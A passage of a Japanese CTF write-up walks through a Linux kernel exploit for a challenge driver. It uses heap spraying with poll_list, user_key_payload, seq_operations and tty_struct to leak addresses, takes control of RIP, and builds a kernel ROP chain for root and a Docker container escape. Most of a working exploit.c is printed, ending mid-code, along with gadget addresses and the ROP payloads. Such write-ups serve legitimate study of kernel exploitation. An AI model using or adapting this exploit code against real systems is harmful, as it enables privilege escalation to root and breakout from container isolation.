15  printf("[!] leaked: 0x%lx\n", leaked);

panic, but leak fails

う〜〜〜ん、panicしているので確実に悪いことはできているのですが上手くleakはできていません。gdbで見てみましょう:

the former is overflowed poll_list, the latter is user_key_payload as seq_operations

前半がoverflowされたpoll_list、後半がpoll_list.nextに指されたためにfreeされてuser_key_payloadからseq_operationsになったもの。う〜ん、一見すると良さそうですけどね。とりあえず一番最初にもっとkmalloc-32を飽和させておいたほうがいいんじゃないかと思い、user_key_payloadをもっとスプレーしようとしたところ、以下のエラーになりました:

Disk quota exceeded

詳しくは見ていないけど、鍵はあんまり多くは確保できなさそうなので代わりにseq_operationsでもっとスプレーしておくようにしました。それから、pthread_join()する度にすぐさまseq_operationsを確保するようにしました。しかしながら、やっぱりkeyctl_read()でleakできない!!

somehow, kernel pointer cannot be leaked&hellip;

しばらく悩んだあとkeyctl_readのmanpageを呼んでみると以下の記述が:

keyctl_read.man
1RETURN VALUE
2       On  success  keyctl_read()  returns  the amount of data placed into the buffer.  If the buffer was too small, then the size of
3       buffer required will be returned, and the contents of the buffer may have been overwritten in some undefined way.

あ、バッファサイズが小さい場合には、undefinedな動作が起こるらしい…。ということで、keyctl_read()に渡すバッファサイズを十分大きく(>=0x4330)してもう一度やってみると:

kbase leak success after extending buf size!

よさそう!

leak kheap via tty_struct / tty_file_private Link to this heading

kbase leakができました。さて、どうしよう。一瞬このままuser_key_payloadであり且つseq_operationsでもあるオブジェクトをuser_key_payloadとしてkfreeし、setxattrを使ってseq_operations内のポインタを書き換えてやればRIPが取れるじゃんと思いましたが、KPTIがある都合上stack pivotする必要があり、heapのアドレスが必要であることに気が付きました。 とりあえずはheapのアドレスが欲しい。幸いにも、kbaseのleakに使ったuser_key_payloadだったオブジェクトは、上に乗っているseq_operationsを解放して他のオブジェクトにしてやることで再度leakをすることができます。というわけで、tty_structを使いましょう。/dev/ptmxを開くと以下のパスに到達します:

drivers/tty/pty.c
 1struct tty_file_private {
 2    struct tty_struct *tty;
 3    struct file *file;
 4    struct list_head list;
 5};
 6
 7static int ptmx_open(struct inode *inode, struct file *filp)
 8{
 9    struct tty_struct *tty;
10    int retval;
11    ...
12    retval = tty_alloc_file(filp);
13    ...
14    tty = tty_init_dev(ptm_driver, index);
15    ...
16    tty_add_file(tty, filp);
17    ...
18}
19
20int tty_alloc_file(struct file *file)
21{
22    struct tty_file_private *priv;
23
24    priv = kmalloc(sizeof(*priv), GFP_KERNEL);
25    file->private_data = priv;
26    return 0;
27}
28void tty_add_file(struct tty_struct *tty, struct file *file)
29{
30    struct tty_file_private *priv = file->private_data;
31
32    priv->tty = tty;
33    priv->file = file;
34    ...
35}

ここで、tty_alloc_file()/dev/ptmxstruct fileprivate_dataメンバに対してstruct tty_file_privateを確保して入れます。これはkmalloc-32から確保されます。その後、tty_init_dev()struct tty_structkmalloc-1024から確保します。そして、tty_add_file()struct tty_file_private内にstruct tty_structのアドレスを格納します。つまり、kmalloc-32内のtty_file_privateをleakすることでkmalloc-1024のアドレスをleakすることができます。

leak_heap.c
 1  // Free all keys except UAFed key
 2  for (int ix = 0; ix != NUM_KEY_SPRAY * 2; ++ix) {
 3    if (keys[ix] != uafed_key) {
 4      if (keyctl_revoke(keys[ix]) != 0) errExit("keyctl_revoke");
 5      if (keyctl_unlink(keys[ix], KEY_SPEC_PROCESS_KEYRING) != 0) errExit("keyctl_unlink");
 6    }
 7  }
 8
 9  // Place `tty_file_private` on UAFed `user_key_payload` in kmalloc-32
10  for (int ix = 0; ix != NUM_TTY_SPRAY; ++ix) {
11    if (open("/dev/ptmx", O_RDWR) <= 2) errExit("open tty");
12  }
13
14  // Read `tty_file_private.tty` which points to `tty_struct` in kmalloc-1024
15  memset(keybuf, 0, 0x5000);
16  if(keyctl_read(uafed_key, keybuf, 0x5000) <= 0) errExit("keyctl_read");
17  ulong km1024_leaked = 0;
18  ulong *tmp = (ulong*)keybuf + 1;
19  for (int ix = 0; ix != 0x4330/8 - 2 - 1; ++ix) {
20    if ((tmp[ix] >> (64-4*4)) == 0xFFFF && tmp[ix+2] == tmp[ix+3] && tmp[ix+2] != 0 && (tmp[ix] & 0xFF) == 0x00) { // list_head's next and prev are same
21      km1024_leaked = tmp[ix];
22      printf("[!] \t+0: 0x%lx (tty)\n", tmp[ix]);
23      printf("[!] \t+1: 0x%lx (*file)\n", tmp[ix + 1]);
24      printf("[!] \t+2: 0x%lx (list_head.next)\n", tmp[ix + 2]);
25      printf("[!] \t+3: 0x%lx (list_head.prev)\n", tmp[ix + 3]);
26      break;
27    }
28  }
29  if (km1024_leaked == 0) errExit("Failed to leak kmalloc-1024");
30  printf("[!] leaked kmalloc-1024: 0x%lx\n", km1024_leaked);

kheap leak success&hellip;?

良さそう!と思いきや、実際に表示されたttyのアドレスを見てみると、先頭がマジックナンバー(0x5401)ではなかったため違うポインタでした。何度試してみても、ttyと思わしきものは50回に1回程度しかleakできない…。うーん、何が悪いのか。UAFされたuser_key_payload以外のkeyをfreeして代わりにtty_file_privateを置いたあとのuser_key_payloadが以下の感じ:

UAFed user_key_payload in kmalloc-32

先頭32byteがuser_key_payloadで、上にはkbaseのleakに使ったseq_operationsが乗っかっています。leakできるのはuser_key_payloadよりも下の0x4330byte程度(これは、seq_operationsをUAFで乗せた際に、user_key_payload.datalensingle_nextのアドレスの下2byteである4330で上書きされるため)であるため見てみると、seq_operationsの名残がいくつか見えますね。0xa748dc1b1f063d98は、おそらくフリーなスラブオブジェクト内のリストポインタが暗号化(CONFIG_SLAB_FREELIST_HARDENED)されているやつでしょう。このことから考えられることとしては、keyのスプレーが少なくてキャッシュ内がkeyで満たされる前に同じ領域にseq_operationsが入ってきてしまったことが考えられます。よって、スプレーするkeyを増やしてみたところ以下の感じ:

kmalloc-32 after increasing num of spraying

偶然のような気もしますが、ランダムなQWORD(つまり、暗号化されたスラブのポインタ)と0x41414141(keyのペイロードとして入れた値)が同一オブジェクト内に入っているため、keyとして割り当てられていたオブジェクトがフリーされていることが分かります。しかし、フリーされたままということはtty_file_privateをスプレーする数が少なかったということでしょうか。少し増やしてみましたが、やはりできません。悲しい。 ここで自分のコードを見てみると…:

c
1#define NUM_KEY_SPRAY 80 + 10
2#define NUM_POLLFD 30 + 510 + 1 // stack, kmalloc-4k, kmalloc-32
3#define NUM_POLLLIST_ALLOC 0x10 - 0x1
4
5key_serial_t keys[NUM_KEY_SPRAY * 5] = {0};
6for (int ix = 0; ix != NUM_KEY_SPRAY * 2; ++ix) {...}
7for (int ix = 0; ix != NUM_KEY_SPRAY * 9; ++ix) {...}

馬鹿!!大馬鹿!おまわりさん、馬鹿はこいつです!捕まえちゃってください! マクロなんて所詮文字列置換なので、NUM_KEY_SPRAY * 280 + 10 * 2と評価されてしまいます!どうりで思った動きしないわけだよ! というわけで、上のバグを直して十分なtty_file_privateを確保してみた上で、一旦kbaseをリークした直後(keyは全て解放前。UAFされたkeyの上にはseq_operationsが乗っている)のヒープを見てみるとこんな感じ:

UAFed key is surrounded by many other user_key_payload, seems good&hellip;

一番上がUAFされたkeyで、その直後にはたくさんのkeyが存在していることが分かります(paylod=AAAAA)。理想的な状況ですね。これでも上手くいかないのはなぜ…。ここでkey周りのソースを見返してみます:

security/keys/keyring.c
 1/*
 2 * Clean up a keyring when it is destroyed.  Unpublish its name if it had one
 3 * and dispose of its data.
 4 *
 5 * The garbage collector detects the final key_put(), removes the keyring from
 6 * the serial number tree and then does RCU synchronisation before coming here,
 7 * so we shouldn't need to worry about code poking around here with the RCU
 8 * readlock held by this time.
 9 */
10static void keyring_destroy(struct key *keyring) {...}

あ、unlink後にGC(security/keys/gc.c)がfreeするのか…! ということは、tty_file_privateをスプレーする前に1秒ほどsleepしてGCを待ってやるといいのではと思いやってみると:

kheap leak success after waiting GC for a second

よさそう〜〜〜!

get RIP by overwriting tty_struct.ops Link to this heading

さて、続いてRIPをとりましょう。や、取らなくても年は越せるんですが。 現状ですが、kmalloc-32にUAFされたuser_key_payload(+上に乗っかっているtty_file_private)があります。このUAFを再利用して、今度はUAF writeをしましょう。具体的には、poll_listkmalloc-1024 -> kmalloc-32のリストになっている時、kmalloc-32をUAFで上書きし、poll_list.nextポインタにtty_struct(kmalloc-1024)のアドレスを書き込んでやります。その状態でpoll_listをfreeすることで関係ないtty_structをfreeしてやることができます。tty_structをUAFできたら、あとはopsを書き換えてやればいいはず…多分…! というわけで、それらをしてくれるコードがこれです(3分クッキング感):

.c
 1  // Free `seq_operations`, one of which is `user_key_payload`
 2  for (int ix = NUM_SEQOPERATIONS - NUM_FREE_SEQOPERATIONS; ix != NUM_SEQOPERATIONS; ++ix) {
 3    close(seqops_fd[ix]);
 4  }
 5  puts("[+] Freeed seq_operations");
 6  
 7  // Spray `poll_list` in kmalloc-32, one of which is placed on `user_key_payload`
 8  assign_to_core(2);
 9  neverend = 1;
10  puts("[+] spraying `poll_list` in kmalloc-32...");
11  num_threads = 0;
12  for (int ix = 0; ix != NUM_2ND_POLLLIST_ALLOC; ++ix) {
13    struct alloc_poll_list_t *arg = malloc(sizeof(struct alloc_poll_list_t));
14    arg->fd = just_fd; arg->id = ix;
15    arg->timeout_ms = 3000; // must 1000 < timeout_ms, to wait key GC
16    arg->num_size = 30 + 2;
17    if(pthread_create(&threads[ix], NULL, alloc_poll_list, arg) != 0) errExit("pthread_create");
18  }
19
20  // Revoke UAFed key, which is on `poll_list` in kmalloc-32
21  puts("[+] Freeing UAFed key...");
22  free_key(uafed_key);
23  sleep(1);
24
25  // Spray keys on UAFed `poll_list`
26  puts("[+] spraying keys in kmalloc-32");
27  assert(num_keys == 0);
28  {
29    char *key_payload = malloc(SIZE_KEY_TOBE_OVERWRITTEN_SEQOPS);
30    memset(key_payload, 'X', SIZE_KEY_TOBE_OVERWRITTEN_SEQOPS);
31     _alloc_key_prefill_ulong_val = 0xDEADBEEF;
32
33    for (int ix = 0; ix != NUM_2ND_KEY_SPRAY; ++ix) {
34      alloc_key(key_payload, SIZE_KEY_TOBE_OVERWRITTEN_SEQOPS, _alloc_key_prefill_ulong);
35    }
36  }

user_key_payloadを確保する前に予めsetxattr()0xDEADBEEFを書き込んでいます。これによって、user_key_payload.rcuがこの値になり、且つpoll_list.nextがこの値になるはず。実行してみると…:

Kernel memory overwrite attempt detected to SLUB object

??? Kernel memory overwrite attempt detected to SLUB object 'filp'らしいです。ソースを読んでみると、これはCONFIG_HARDENED_USERCOPYが有効な場合に表示される文面みたいですね。

mm/usercopy.c
 1void __noreturn usercopy_abort(const char *name, const char *detail,
 2			       bool to_user, unsigned long offset,
 3			       unsigned long len)
 4{
 5    pr_emerg("Kernel memory %s attempt detected %s %s%s%s%s (offset %lu, size %lu)!\n",
 6       to_user ? "exposure" : "overwrite",
 7       to_user ? "from" : "to",
 8       name ? : "unknown?!",
 9       detail ? " '" : "", detail ? : "", detail ? "'" : "",
10       offset, len);
11    BUG();
12}
13void __check_heap_object(const void *ptr, unsigned long n, struct page *page, bool to_user)
14{
15    ...
16    usercopy_abort("SLUB object", s->name, to_user, offset, n);
17}

何回かやってみると、keyのスプレーの際にfilpとかworker_poolとかいうkmalloc-256サイズのキャッシュへのoverwriteが検知されて落ちているみたいです。おそらくですが、poll_listをスプレーするスレッドを立ち上げてからすぐにuser_key_payloadをfreeさせるようにしていたため、UAFしているオブジェクトにpoll_listが確保される前にuser_key_payloadがfreeされてしまい、seq_operationsのfreeと相まってdouble freeになってヒープが崩壊してしまったせいなんじゃないかと思います。そこで、スレッドを立ち上げた後に少しだけsleepしてみると、とりあえずこのエラーは出なくなりました。必要なguessingは、必要です。

DEADBEEF!

dead beef、良さそう!続いて、deadbeefをちゃんと先程leakしたtty_structのアドレスにしてUAFし、その後で0x1000サイズのuser_key_payloadをスプレーすることで全て0x5401(tty_structのmagic number)で埋めてみると:

got a RIP

うんうん、良さそう。tty_struct.opsも一緒に0x5401に書き換えたので、ちゃんと落ちてくれてますね!RIPが取れました。

get root by kROP on tty_struct itself Link to this heading

TTYへのioctl()によって、ジャンプ直後のレジスタの値は以下のようになります:

register values after jmp-ing to ioctl

RBX, RCX, RSIは第2引数で4byte、RDX, R8, R12は第3引数で8byteだけ任意に指定できます。RDIRBPR14tty_struct自身を指します。stack pivotをするために、push RXX, JMP RYY, POP RSPのようなことをしたいのですが、RSI達は4byteしか指定できないため使うことはできません。 さて、みなさんも覚えておきましょう、tty_structはまじでROPしやすいです:

payload.c
 1    char *key_payload = malloc(0x1000);
 2    ulong *buf = (ulong*)key_payload;
 3    buf[0] = 0x5401; // magic, kref (later `leave`ed and become RBP)
 4    buf[1] = KADDR(0xffffffff8191515a); // dev (later become ret addr of `leave` gadget, which is `pop rsp`)
 5    buf[2] = km1024_leaked + 0x50 + 0x120; // driver (MUST BE VALID) (later `pop rsp`ed)
 6    buf[3] = km1024_leaked + 0x50; // ops
 7
 8    ulong *ops = (ulong*)(key_payload + 0x50);
 9    for (int ix = 0; ix != 0x120 / 8; ++ix) { // sizeof tty_operations
10      ops[ix] = KADDR(0xffffffff81577609); // pop rsp
11    }
12
13    ulong *rop = (ulong*)((char*)ops + 0x120);
14    *rop++ = ...
15
16    assert((ulong)rop - (ulong)key_payload < 516);

まず、opsを書き換えてtty_struct + 0x50を指すようにします。この領域に偽のvtableとしてleaveするガジェットのアドレスを入れておきます。すると、上で書いたようにRBPにはtty_struct自身のアドレスが入っているため、leaveするとtty_structのアドレスがRSPに入ります。この状態でRETすると、tty_struct + 8に入っているアドレスに戻ることになります。ここはtty_struct.devポインタであり、壊れてても良い値なので、ここにtty_struct + 0x50 + 0x120のアドレスを入れておきます。あとは、+0x50 + 0x120の領域に好きなROPを組んでおくだけです。本当に、ROPのためにある構造体と言っても過言ではありません。偶然magic numberもvalidでなくてはいけないポインタ(+0x10: driver)を壊すことなくいけます。奇跡の構造体です。 ROP自体はこんな感じ:

rop.c
 1  *rop++ = KADDR(0xffffffff81906510); // pop rdi
 2  *rop++ = 0;
 3  *rop++ = KADDR(0xffffffff810ebc90); // prepare_kernel_cred
 4
 5  *rop++ = KADDR(0xffffffff812c32a9); // pop rcx (to prevent later `rep`)
 6  *rop ++ = 0;
 7  *rop++ = KADDR(0xffffffff81a05e4b); // mov rdi, rax; rep movsq; (simple `mov rdi, rax` not found)
 8  *rop++ = KADDR(0xffffffff810eba40); // commit_creds
 9
10  *rop++ = KADDR(0xffffffff81c00ef0 + 0x16); // swapgs_restore_regs_and_return_to_usermode + 0x16
11                                             // mov rdi,rsp; mov rsp,QWORD PTR gs:0x6004; push QWORD PTR [rdi+0x30]; ...
12  *rop++ = 0;
13  *rop++ = 0;
14  *rop++ = (ulong)NIRUGIRI;
15  *rop++ = user_cs;
16  *rop++ = user_rflags;
17  *rop++ = (ulong)krop_stack + KROP_USTACK_SIZE / 2;
18  *rop++ = user_ss;

got a ROOT

ルート!

container escape Link to this heading

しかし、この問題はこれで終わりではありません。コンテナの中なので、コンテナエスケープする必要があります。個々から先の知識は全くありません、またもやカンニングしましょう。こっから先は写経です。意味のある写経です。カス写経です。 といっても、RIPとれてればそんなに難しいことではないみたい。docker内ではsetns() syscallは禁止されてるから、今回はfilesystem namespaceだけ移動させます。以下の感じ:

abst.c
1// ROOTをとるには...?
2commit_cred(prepare_kernel_cred(0));
3
4// docker escape(fs)するには...?
5switch_task_namespaces(find_task_vpid(1), init_nsproxy);
6current->fs = copy_fs_struct(init_fs);

これだけ!やった〜〜〜〜。

rop.c
 1  *rop++ = KADDR(0xffffffff81906510); // pop rdi
 2  *rop++ = 1; // init process in docker container
 3  *rop++ = KADDR(0xffffffff810e4fc0); // find_task_by_vpid
 4  *rop++ = KADDR(0xffffffff812c32a9); // pop rcx (to prevent later `rep`)
 5  *rop ++ = 0;
 6  *rop++ = KADDR(0xffffffff81a05e4b); // mov rdi, rax; rep movsq; (simple `mov rdi, rax` not found)
 7  *rop++ = KADDR(0xffffffff819b21d3); // pop rsi
 8  *rop++ = KADDR(0xffffffff8245a720); // &init_nsproxy
 9  *rop++ = KADDR(0xffffffff810ea4e0); // switch_task_namespaces
10
11  *rop++ = KADDR(0xffffffff81906510); // pop rdi
12  *rop++ = KADDR(0xffffffff82589740); // &init_fs
13  *rop++ = KADDR(0xffffffff812e7350); // copy_fs_struct
14  *rop++ = KADDR(0xffffffff8131dab0); // push rax; pop rbx
15
16  *rop++ = KADDR(0xffffffff81906510); // pop rdi
17  *rop++ = getpid();
18  *rop++ = KADDR(0xffffffff810e4fc0); // find_task_by_vpid
19
20  *rop++ = KADDR(0xffffffff8117668f); // pop rdx
21  *rop++ = 0x6E0;
22  *rop++ = KADDR(0xffffffff81029e7d); // add rax, rdx
23  *rop++ = KADDR(0xffffffff817e1d6d); // mov qword [rax], rbx ; pop rbx ; ret ; (1 found)
24  *rop++ = 0; // trash

アウトロ Link to this heading

uouo fish life

うおうおふぃっしゅらいふ。

Full Exploit Link to this heading

exploit.c
  1#include "./exploit.h"
  2#include <bits/pthreadtypes.h>
  3#include <keyutils.h>
  4#include <pthread.h>
  5#include <sys/mman.h>
  6#include <unistd.h>
  7
  8/*********** commands ******************/
  9#define DEV_PATH "/proc_rw/cormon"   // the path the device is placed
 10
 11/*********** constants ******************/
 12#define DESC_KEY_TOBE_OVERWRITTEN_SEQOPS "exploit0"
 13#define SIZE_KEY_TOBE_OVERWRITTEN_SEQOPS 0x8
 14#define NUM_KEY_SPRAY (0x60)
 15#define NUM_2ND_KEY_SPRAY (NUM_KEY_SPRAY * 2)
 16#define NUM_3RD_KEY_SPRAY (0x10 + 0x8)
 17#define NUM_3RD_KEY_SIZE (0x290)
 18
 19#define NUM_PREPARE_KM32_SPRAY 2000
 20
 21#define NUM_POLLFD (30 + 510 + 1) // stack, kmalloc-4k, kmalloc-32
 22#define NUM_1ST_POLLLIST_ALLOC (0x10 - 0x1 + 0x1)
 23#define NUM_2ND_POLLLIST_ALLOC (0x120 + 0x20 + 0x40 + 0x40 + 0x40 + 0x200)
 24#define TIMEOUT_POLLFD 2000 // 2s
 25
 26#define NUM_TTY_SPRAY (0x100)
 27
 28#define NUM_SEQOPERATIONS (NUM_1ST_POLLLIST_ALLOC + 0x100)
 29#define NUM_FREE_SEQOPERATIONS (0x160)
 30
 31#define KADDR(addr) ((ulong)addr - 0xffffffff81000000 + kbase)
 32
 33/*********** globals ******************/
 34
 35int cormon_fd;
 36int just_fd;
 37key_serial_t keys[NUM_KEY_SPRAY * 5] = {0};
 38int seqops_fd[0x500];
 39int tty_fd[NUM_TTY_SPRAY * 2];
 40char *cormon_buf[0x1000 + 0x20] = {0};
 41pthread_t threads[0x1000];
 42int num_threads = 0;
 43pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;
 44
 45ulong kbase = 0;
 46int neverend = 0;
 47
 48char *krop_stack = NULL;
 49#define KROP_USTACK_SIZE 0x10000
 50
 51/*********** utils ******************/
 52
 53int num_keys = 0;
 54ulong _alloc_key_prefill_ulong_val = 0;
 55void _alloc_key_prefill_ulong() {
 56  static char *data = NULL;
 57  if (data == NULL) data = calloc(0x1000, 1);
 58  //for (int ix = 0; ix != 32 / 8; ++ix) ((ulong*)data)[ix] = _alloc_key_prefill_ulong_val;
 59  ((ulong*)data)[0] = _alloc_key_prefill_ulong_val;
 60  setxattr("/home/user/.bashrc", "user.x", data, 32, XATTR_CREATE);
 61}
 62void _alloc_key_prefill_null(void) {
 63  _alloc_key_prefill_ulong_val = 0;
 64  _alloc_key_prefill_ulong();
 65}
 66void alloc_key(char *payload, int size, void (*prefill)(void)) {
 67  static char *desc = NULL;
 68  if (desc == NULL) desc = calloc(1, 0x1000);
 69
 70  sprintf(desc, "key_%d", num_keys);
 71  if (prefill != NULL) prefill();
 72  keys[num_keys] = add_key("user", desc, payload, size, KEY_SPEC_PROCESS_KEYRING);
 73  if (keys[num_keys] < 0) errExit("alloc_key");
 74  num_keys++;
 75}
 76void spray_keys(int num, char c) {
 77  static char *payload = NULL;
 78  if (payload == NULL) payload = calloc(1, 0x1000);
 79  char *key_payload = malloc(SIZE_KEY_TOBE_OVERWRITTEN_SEQOPS);
 80  memset(key_payload, c, SIZE_KEY_TOBE_OVERWRITTEN_SEQOPS);
 81
 82  for (int ix = 0; ix != num; ++ix) alloc_key(key_payload, SIZE_KEY_TOBE_OVERWRITTEN_SEQOPS, _alloc_key_prefill_null);
 83}
 84void free_key(key_serial_t key) {
 85  if (keyctl_revoke(key) != 0) errExit("keyctl_revoke");
 86  if (keyctl_unlink(key, KEY_SPEC_PROCESS_KEYRING) != 0) errExit("keyctl_unlink");
 87  --num_keys;
 88}
 89
 90struct alloc_poll_list_t {
 91  int fd;
 92  int id;
 93  int num_size;
 94  int timeout_ms;
 95};
 96void* alloc_poll_list(void *_arg) {
 97  struct pollfd fds[NUM_POLLFD];
 98  struct alloc_poll_list_t *arg = (struct alloc_poll_list_t *)_arg;
 99  assert(arg->fd >= 2);
100
101  for (int ix = 0; ix != arg->num_size; ++ix) {
102    fds[ix].fd = arg->fd;
103    fds[ix].events = POLLERR;
104  }
105  pthread_mutex_lock(&mutex);
106    ++num_threads;
107  pthread_mutex_unlock(&mutex);
108
109  thread_assign_to_core(0);
110  if (poll(fds, arg->num_size, arg->timeout_ms) != 0) errExit("poll");
111
112  pthread_mutex_lock(&mutex);
113    --num_threads;
114  pthread_mutex_unlock(&mutex);
115
116  if (neverend) {
117    thread_assign_to_core(2);
118    while(neverend);
119  }
120
121  return NULL;
122}
123
124void nullbyte_overflow(void) {
125  assert(cormon_fd >= 2);
126  memset(cormon_buf, 'B', 0x1000 + 0x20);
127  strcpy((char*)cormon_buf + 1, "THIS_IS_CORMON_BUFFER");
128  *cormon_buf = 0x00;
129
130  if(write(cormon_fd, cormon_buf, 0x1000) != -1) errExit("nullbyte_overflow");
131  errno = 0; // `write()` above must fail, so clear errno here
132}
133
134/*********** main ******************/
135
136int main(int argc, char *argv[]) {
137  char *keybuf = malloc(0x5000); // must be >= 0x4330 (low 2byte of single_next())
138  puts("[.] Starting exploit.");
139
140  puts("[+] preparing stack for later kROP...");
141  save_state();
142  krop_stack = mmap((void*)0x10000000, KROP_USTACK_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
143  if (krop_stack == MAP_FAILED) errExit("mmap");
144
145  assign_to_core(0);
146  if ((cormon_fd = open(DEV_PATH, O_RDWR)) <= 2) errExit("open cormon");
147
148  // Pre-spray kmalloc-32
149  puts("[+] pre-spraying kmalloc-32...");
150  for (int ix = 0; ix != NUM_PREPARE_KM32_SPRAY; ++ix) {
151    if (open("/proc/self/stat", O_RDONLY) <= 2) errExit("prespray");
152  }
153
154  // Spray victim `user_key_payload` in kmalloc-32
155  puts("[+] Spraying keys...");
156  spray_keys(NUM_KEY_SPRAY, 'A');
157
158  // Spray poll_list in kmalloc-32 and kmalloc-4k
159  just_fd = open("/etc/hosts", O_RDONLY);
160  printf("[+] Spraying poll_list (fd=%d)...\n", just_fd);
161  if (just_fd <= 2) errExit("just_fd");
162
163  assign_to_core(1);
164  num_threads = 0;
165  for (int ix = 0; ix != NUM_1ST_POLLLIST_ALLOC + 3; ++ix) {
166    struct alloc_poll_list_t *arg = malloc(sizeof(struct alloc_poll_list_t));
167    arg->fd = just_fd; arg->id = ix;
168    arg->timeout_ms = ix < NUM_1ST_POLLLIST_ALLOC ? TIMEOUT_POLLFD : 1;;
169    arg->num_size = NUM_POLLFD;
170    if(pthread_create(&threads[ix], NULL, alloc_poll_list, arg) != 0) errExit("pthread_create");
171  }
172
173  // Wait some of `poll_list` in kmalloc-4k is freed (these are expected to be reused by cormon_proc_write())
174  assign_to_core(0);
175  usleep(500 * 1000); // wait threads are initialized
176  for(int ix = NUM_1ST_POLLLIST_ALLOC; ix < NUM_1ST_POLLLIST_ALLOC + 3; ++ix) {
177    pthread_join(threads[ix], NULL);
178  }
179
180  // Spray again victim `user_key_payload` in kmalloc-32
181  spray_keys(NUM_KEY_SPRAY, 'A');
182
183  // NULL-byte overflow (hopelly) on `poll_list`, whose `next` pointer get pointing to `user_key_payload` in kmalloc-32.
184  puts("[+] NULL-byte overflow ing...");
185  nullbyte_overflow();
186
187  // Wait all `poll_list` are freed
188  for (int ix = 0; ix != NUM_1ST_POLLLIST_ALLOC; ++ix) {
189    open("/proc/self/stat", O_RDONLY);
190    pthread_join(threads[ix], NULL);
191  }
192  puts("[+] Freed all 'poll_list'");
193
194  // Place `seq_operations` on UAFed `user_key_payload` in kmalloc-32
195  for(int ix = 0; ix != NUM_SEQOPERATIONS; ++ix) {
196    if ((seqops_fd[ix] = open("/proc/self/stat", O_RDONLY)) <= 2) errExit("open seqops");
197  }
198
199  // Check all keys to leak kbase via `seq_operations`
200  ulong single_show = 0;
201  key_serial_t uafed_key = 0;
202  for (int ix = 0; ix != NUM_KEY_SPRAY * 2; ++ix) {
203    int num_read;
204    memset(keybuf, 0, 0x5000);
205    if((num_read = keyctl_read(keys[ix], keybuf, 0x5000)) <= 0) errExit("keyctl_read");
206    if (strncmp(keybuf, "AAAA", 4) != 0) {
207      single_show = *(ulong*)keybuf;
208      uafed_key = keys[ix];
209      if (single_show == 0) {
210        puts("[-] somehow, empty key found");
211      } else break;
212    }
213  }
214  if (single_show == 0) {
215    puts("[-] Failed to leak kbase");
216    exit(1);
217  }
218  printf("[!] leaked single_show: 0x%lx\n", single_show);
219  kbase = single_show - (0xffffffff813275c0 - 0xffffffff81000000);
220  printf("[!] leaked kbase: 0x%lx\n", kbase);
221
222  // Free all keys except UAFed key
223  for (int ix = 0; ix != NUM_KEY_SPRAY * 2; ++ix) {
224    if (keys[ix] != uafed_key) free_key(keys[ix]);
225  }
226  sleep(1); // wait GC(security/keys/gc.c) actually frees keys
227
228  // Place `tty_file_private` on UAFed `user_key_payload` in kmalloc-32
229  for (int ix = 0; ix != NUM_TTY_SPRAY; ++ix) {
230    if ((tty_fd[ix] = open("/dev/ptmx", O_RDWR | O_NOCTTY)) <= 2) errExit("open tty");
231  }
232
233  // Read `tty_file_private.tty` which points to `tty_struct` in kmalloc-1024
234  memset(keybuf, 0, 0x5000);
235  int num_read = 0;
236  if((num_read = keyctl_read(uafed_key, keybuf, 0x5000)) <= 0) errExit("keyctl_read");
237  printf("[+] read 0x%x bytes from UAFed key\n", num_read);
238  ulong km1024_leaked = 0;
239  ulong *tmp = (ulong*)keybuf + 1;
240  for (int ix = 0; ix != 0x4330/8 - 2 - 1; ++ix) {
241    if (
242      (tmp[ix] >> (64-4*4)) == 0xFFFF && // tty must be in kheap
243      (tmp[ix + 1] >> (64-4*4)) == 0xFFFF && // file must be in kheap
244      tmp[ix+2] == tmp[ix+3] && tmp[ix+2] != 0 && // list_head's next and prev are same
245      (tmp[ix] & 0xFF) == 0x00 && // tty must be 0x100 aligned
246      (tmp[ix + 1] & 0xFF) == 0x00 && // file must be 0x100 aligned
247      (tmp[ix + 2] & 0xF) == 0x08
248    ) {
249      if (km1024_leaked == 0) {
250        km1024_leaked = tmp[ix];
251        printf("[!] \t+0: 0x%lx (tty)\n", tmp[ix]);
252        printf("[!] \t+1: 0x%lx (*file)\n", tmp[ix + 1]);
253        printf("[!] \t+2: 0x%lx (list_head.next)\n", tmp[ix + 2]);
254        printf("[!] \t+3: 0x%lx (list_head.prev)\n", tmp[ix + 3]);
255        break;
256      }
257    }
258  }
259  if (km1024_leaked == 0) {
260    print_curious(keybuf, 0x4300, 0);
261    errExit("Failed to leak kmalloc-1024");
262  }
263  printf("[!] leaked kmalloc-1024: 0x%lx\n", km1024_leaked);
264
265  /********************************************************/
266
267  // Free `seq_operations`, one of which is `user_key_payload`
268  for (int ix = NUM_SEQOPERATIONS - NUM_FREE_SEQOPERATIONS; ix != NUM_SEQOPERATIONS; ++ix) {
269    close(seqops_fd[ix]);
270  }
271  puts("[+] Freeed seq_operations");
272
273  sleep(5); // TODO
274  // Spray `poll_list` in kmalloc-32, one of which is placed on `user_key_payload`
275  assign_to_core(2);
276  neverend = 1;
277  puts("[+] spraying `poll_list` in kmalloc-32...");
278  num_threads = 0;
279  for (int ix = 0; ix != NUM_2ND_POLLLIST_ALLOC; ++ix) {
280    struct alloc_poll_list_t *arg = malloc(sizeof(struct alloc_poll_list_t));
281    arg->fd = just_fd; arg->id = ix;
282    arg->timeout_ms = 3000; // must 1000 < timeout_ms, to wait key GC
283    arg->num_size = 30 + 2;
284    if(pthread_create(&threads[ix], NULL, alloc_poll_list, arg) != 0) errExit("pthread_create");
285  }
286  // wait threads are initialized (to prevent double free)
287  assign_to_core(0);
288  while(num_threads != NUM_2ND_POLLLIST_ALLOC);
289  usleep(300 * 1000);
290
291  // Revoke UAFed key, which is on `poll_list` in kmalloc-32
292  puts("[+] Freeing UAFed key...");
293  free_key(uafed_key);
294  sleep(1);
295
296  // Spray keys on UAFed `poll_list`
297  puts("[+] spraying keys in kmalloc-32");
298  assert(num_keys == 0);
299  {
300    char *key_payload = malloc(SIZE_KEY_TOBE_OVERWRITTEN_SEQOPS);
301    memset(key_payload, 'X', SIZE_KEY_TOBE_OVERWRITTEN_SEQOPS);
302    ((ulong*)key_payload)[0] = 0x9999999999999999; // debug
303     _alloc_key_prefill_ulong_val = km1024_leaked - 0x18; // 0x18 is offset where `user_key_payload` can modify from
304
305    for (int ix = 0; ix != NUM_2ND_KEY_SPRAY; ++ix) {
306      alloc_key(key_payload, SIZE_KEY_TOBE_OVERWRITTEN_SEQOPS, _alloc_key_prefill_ulong);
307    }
308  }
309
310  puts("[+] waiting corrupted `poll_list` is freed...");
311  neverend = 0;
312  for(int ix = 0; ix != NUM_2ND_POLLLIST_ALLOC; ++ix) {
313    pthread_join(threads[ix], NULL);
314  }
315
316  // Free all keys
